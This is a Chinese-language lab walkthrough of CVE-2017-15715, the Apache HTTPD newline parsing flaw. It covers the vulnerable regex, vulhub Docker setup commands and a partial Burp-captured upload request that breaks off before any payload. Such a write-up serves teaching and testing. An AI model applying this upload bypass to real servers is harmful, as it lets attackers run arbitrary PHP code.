Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A
将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
影响版本
Apache HTTPD 2.4.0~2.4.29
漏洞原理
在该版本的配置中
<FilesMatch .php$>
SetHandler application/x-httpd-php
该部分内容就是只有匹配上面的正则表达式就可以进行绕过
使用我们在看一看正则表达式中$
的意思
匹配输入字符串的结尾位置。如果设置了 RegExp 对象的 Multiline 属性,则 $
也匹配 \n
或 \r
。要匹配 $
字符本身,请使用 $
。
所以如果设置 RegExp 对象的 Multiline 属性的条件下,$
还会匹配到字符串结尾的换行符(也就是%0a)
环境准备
靶机环境 139.196.87.102 (vulhub)
攻击机环境 192.168.8.131 (虚拟机 Ubuntu 20、Java1.8、Burp)
启动 Apache HTTPD 换行解析漏洞(CVE-2017-15715) 环境
1.进入 vulhub 的 CVE-2017-15715
cd /usr/local/tools/vulhub/httpd/CVE-2017-15715
2.编译并启动环境
docker-compose up -d
3.查看环境运行状态
docker ps | grep CVE-2017-15715
访问 8080 端口
漏洞利用
访问 8080 端口,上传一个 php 文件,提示报错
此时打开 burp 进行抓包拦截,写入 php 文件内容,以及 hex 出对 php 文件后缀进行修改
数据包如下
POST / HTTP/1.1
Host: 139.196.87.102:8080
Content-Length: 310
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://139.196.87.102:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLeE8UKghjLbbkwTx
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://139.196.87.102:8080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: -http-session-=6::http.session::a7c40927f24b51084890c6583a8c8442
Connection: close
------WebKitFormBoundaryLeE8UKghjLbbkwTx
Content-Disposition: form-data; name=“file”; filename=“test.php”
Content-Type: application/x-php